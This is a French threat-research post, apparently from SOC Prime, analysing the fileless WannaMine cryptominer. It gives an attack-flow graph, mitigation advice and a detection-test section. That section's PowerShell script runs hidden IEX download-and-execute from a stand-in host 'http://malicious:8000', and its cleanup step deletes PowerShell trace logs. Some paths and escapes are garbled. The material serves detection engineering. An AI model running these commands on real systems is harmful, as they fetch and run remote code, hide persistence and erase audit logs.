SOC Prime Bias: Critique

14 Jan 2026 18:14

Analyse du cryptomineur WannaMine : Exécution sans fichier et persistance

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Suivre
Analyse du cryptomineur WannaMine : Exécution sans fichier et persistance
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

WannaMine est un ver de cryptominage sans fichier qui s’appuie sur des outils de type ‘living-off-the-land’—principalement PowerShell et Windows Management Instrumentation (WMI)—pour rester en mémoire et miner du Monero.

Enquête

WannaMine est livré soit par des emails de phishing contenant des fichiers batch malveillants, soit en exploitant la vulnérabilité SMB d’EternalBlue. Pour la persistance, il enregistre des abonnements à des événements WMI et stocke du PowerShell encodé dans des classes WMI personnalisées.

Atténuation de WannaMine

Empêchez l’exploitation d’EternalBlue en appliquant les correctifs SMB (MS17-010). Limitez l’exécution et la surveillance de PowerShell, surveillez la création inhabituelle de classes WMI et de consommateurs d’événements, et appliquez le principe du moindre privilège pour limiter l’utilisation abusive des identifiants.

Réponse

Alertez sur les comportements anormaux de PowerShell/WMI, isolez les hôtes impactés, supprimez les consommateurs/abonnements d’événements WMI malveillants, faites pivoter les identifiants potentiellement exposés, et effectuez des analyses forensiques de la mémoire pour confirmer le mineur en mémoire.

« graph TB %% Section des définitions de classes classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef operator fill:#ff9900 %% Nœuds – Actions action_phishing[« <b>Action</b> – <b>T1566.001 Hameçonnage</b>: Email d’hameçonnage avec pièce jointe malveillante délivrant un fichier batch »] class action_phishing action action_user_exec[« <b>Action</b> – <b>T1204 Exécution par l’utilisateur</b>: La victime exécute le fichier batch qui lance PowerShell »] class action_user_exec action action_powershell_exec[« <b>Action</b> – <b>T1059.001 PowerShell</b>: Un script PowerShell caché détermine l’architecture du système d’exploitation et télécharge la charge utile »] class action_powershell_exec action action_wmi_persistence[« <b>Action</b> – <b>T1546.003 Abonnement à des événements WMI</b>: Le malware crée des classes WMI personnalisées et enregistre les consommateurs d’événements »] class action_wmi_persistence action action_pass_the_hash[« <b>Action</b> – <b>T1550.002 Pass the Hash</b>: Les hachages NTLM extraits sont réutilisés »] class action_pass_the_hash action action_wmiexec[« <b>Action</b> – <b>Mouvement latéral via WMIExec</b>: Les hachages sont utilisés pour exécuter PowerShell sur des hôtes distants »] class action_wmiexec action action_eternalblue[« <b>Action</b> – <b>T1210 Exploitation de services distants</b> : EternalBlue (MS17u2011010) utilisé lorsque la réutilisation des hachages échoue »] class action_eternalblue action action_defense_evasion[« <b>Action</b> – <b>T1550 Utiliser des matériaux d’authentification alternatifs</b>: La réutilisation des hachages volés évite les demandes d’identifiants »] class action_defense_evasion action action_compute_hijacking[« <b>Action</b> – <b>T1496.001 Détournement de ressources informatiques</b>: Le système est configuré pour miner des cryptomonnaies Monero »] class action_compute_hijacking action action_power_settings[« <b>Action</b> – <b>T1653 Paramètres d’alimentation</b>: Gestion de l’alimentation modifiée pour empêcher la mise en veille et maintenir le minage actif »] class action_power_settings action %% Nœuds – Outils et Mailwares file_batch[« <b>Outil</b> – <b>Nom</b> : Fichier Batch malveillant<br /><b>Description</b> : Conteneur pour la commande PowerShell initiale »] class file_batch tool tool_powershell[« <b>Outil</b> – <b>Nom</b> : PowerShell<br /><b>Description</b> : Moteur de script utilisé pour le téléchargement et l’exécution »] class tool_powershell tool tool_wmi[« <b>Outil</b> – <b>Nom</b> : Windows Management Instrumentation<br /><b>Description</b> : Enregistre des abonnements d’événements pour la persistance »] class tool_wmi tool tool_mimikatz[« <b>Outil</b> – <b>Nom</b> : Module Mimikatz<br /><b>Description</b> : Extrait des hachages NTLM depuis la mémoire »] class tool_mimikatz tool tool_wmiexec[« <b>Outil</b> – <b>Nom</b> : WMIExec<br /><b>Description</b> : Exécute des commandes sur des machines distantes via WMI »] class tool_wmiexec tool exploit_eternalblue[« <b>Outil</b> – <b>Nom</b> : Exploit EternalBlue<br /><b>Description</b> : Exploite la vulnérabilité SMB MS17u2011010 »] class exploit_eternalblue tool malware_payload[« <b>Malware</b> – <b>Nom</b>: Charge utile personnalisée<br /><b>Description</b> : Composant téléchargé qui effectue du minage »] class malware_payload malware process_download[« <b>Processus</b> – <b>Nom</b>: Téléchargement de charge utile à distance<br /><b>Description</b> : Récupère le binaire approprié pour l’architecture du système d’exploitation »] class process_download process process_mining[« <b>Processus</b> – <b>Nom</b>: Mineur de Monero<br /><b>Description</b> : Consomme des cycles CPU pour le minage de cryptomonnaies »] class process_mining process %% Connexions – Flux d’attaque action_phishing u002du002d>|délivre| file_batch file_batch u002du002d>|exécuté_par_utilisateur| action_user_exec action_user_exec u002du002d>|déclenche| action_powershell_exec action_powershell_exec u002du002d>|utilise| tool_powershell action_powershell_exec u002du002d>|télécharge| process_download process_download u002du002d>|enregistré_comme| malware_payload malware_payload u002du002d>|crée| action_wmi_persistence action_wmi_persistence u002du002d>|utilise| tool_wmi action_wmi_persistence u002du002d>|extrait_hachages_avec| tool_mimikatz tool_mimikatz u002du002d>|active| action_pass_the_hash action_pass_the_hash u002du002d>|active| action_wmiexec action_pass_the_hash u002du002d>|recours_à| action_eternalblue action_wmiexec u002du002d>|effectue_mouvement_latéral| process_mining action_eternalblue u002du002d>|exploite| exploit_eternalblue exploit_eternalblue u002du002d>|accède_à| process_mining process_mining u002du002d>|aboutit_à| action_defense_evasion action_defense_evasion u002du002d>|active| action_compute_hijacking action_compute_hijacking u002du002d>|modifie| action_power_settings « 

Flux d’attaque

Exécution de Simulation

Prérequis : Le contrôle pré-vol de la Télémétrie & Baseline doit avoir été réussi.

Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et visent à générer exactement la télémétrie attendue par la logique de détection.

  • Narratif de l’Attaque & Commandes :
    Un attaquant obtient une exécution de code à distance sur un point de terminaison Windows. Pour éviter l’interaction de l’utilisateur, il lance PowerShell dans une fenêtre cachée (-W Hidden) sans profil (-NoP) et non-interactif (-NonI). La commande utilise IEX pour télécharger une charge utile PowerShell depuis un serveur HTTP malveillant (http://malicious:8000/in6.ps1). Le script téléchargé enregistre une classe WMI nommée Office_Updater sous rootdefault qui stocke une propriété mon contenant un mineur de Monero encodé en Base64. L’attaquant lit ensuite la propriété via [WmiClass] et l’invoque, lançant effectivement le cryptomineur sans créer un nouveau processus. Cette séquence correspond aux trois sous-chaînes de lignes de commande de la règle de détection.

  • Script de Test de Régression :

    #-------------------------------------------------
    # Simuler l'exécution du cryptomineur sans fichier WannaMine
    #-------------------------------------------------
    $maliciousServer = "http://malicious:8000"
    $payloadPath     = "$maliciousServer/in6.ps1"
    
    # 1. Exécution PowerShell cachée, non-interactive
    $cmd = "-NoP -NonI -W Hidden " +
           "IEX(New-Object Net.WebClient).DownloadString('$payloadPath'); " +
           "`$mon = ([WmiClass] 'rootdefault:Office_Updater').Properties['mon'].Value"
    
    # Exécuter la commande (c'est ce que l'attaquant lancerait)
    Start-Process -FilePath "powershell.exe" -ArgumentList $cmd -WindowStyle Hidden -NoNewWindow
    
    # Note : Le script distant (in6.ps1) doit créer la classe WMI
    # avec une propriété "mon" contenant le code de minage.
  • Commandes de Nettoyage :

    # Supprimer la classe WMI malveillante
    Get-WmiObject -Namespace "rootdefault" -Class "Office_Updater" | Remove-WmiObject -ErrorAction SilentlyContinue
    
    # Arrêter tout processus de minage PowerShell persistant (s'il y en a eu de lancés)
    Get-Process -Name "powershell" -ErrorAction SilentlyContinue |
        Where-Object {$_.CommandLine -match "mon"} |
        Stop-Process -Force
    
    # Optionnel : Effacer les fichiers de transcription/journaux PowerShell créés pendant le test
    Remove-Item -Path "$env:LOCALAPPDATAMicrosoftWindowsPowerShellTrace*" -Force -ErrorAction SilentlyContinue